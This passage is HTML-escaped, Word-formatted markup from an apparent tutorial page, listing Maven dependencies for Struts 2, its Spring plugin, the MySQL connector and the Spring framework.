&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;2.1.8.1&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;!-- Struts 2 End--&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;!-- Struts 2 + Spring &lt;u&gt;plugins&lt;/u&gt; --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.apache.struts&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-spring-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;2.1.8.1&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;!-- MySQL database driver --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;mysql&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;mysql&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-connector-java&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;5.1.9&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;!-- Spring framework --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.springframework&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;spring&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
